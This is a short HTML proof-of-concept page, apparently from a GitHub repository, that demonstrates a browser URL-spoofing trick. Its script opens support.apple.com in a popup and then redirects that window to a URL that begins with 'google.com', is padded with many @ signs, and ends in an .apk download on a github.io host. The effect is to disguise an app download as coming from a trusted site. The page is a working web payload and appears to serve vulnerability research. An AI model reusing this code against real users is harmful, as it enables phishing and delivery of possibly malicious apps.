-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathyt.html
More file actions
54 lines (50 loc) · 1.62 KB
/
yt.html
File metadata and controls
54 lines (50 loc) · 1.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>PoC</title>
<style>
body {
margin: 0;
padding: 20px;
font-family: Arial, sans-serif;
background: #f0f0f0;
text-align: center;
}
.trigger-btn {
display: inline-block;
padding: 15px 30px;
background: #ff4444;
color: white;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
margin-top: 50px;
border: none;
}
.trigger-btn:hover { background: #cc0000; }
</style>
</head>
<body>
<h2>Click the Button to Trigger Prompt</h2>
<p>Click the button below to simulate the popup + redirect sequence.</p>
<button class="trigger-btn" onclick="triggerSpoof()">Click Here!</button>
<script>
function triggerSpoof() {
// Step 1: Open a legit domain (support.apple.com) in a new window/tab
var w = window.open('https://support.apple.com');
// Step 2: After a short delay, redirect that window to an obfuscated URL
var targetUrl = 'https://google.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@onydose.github.io/test/app-debug.apk';
setTimeout(function () {
if (w && !w.closed) {
// Redirect the newly opened window
w.location = targetUrl;
} else {
// Fallback: if popup was blocked, redirect current window instead
window.location = targetUrl;
}
}, 1000);
}
</script>
</body>
</html>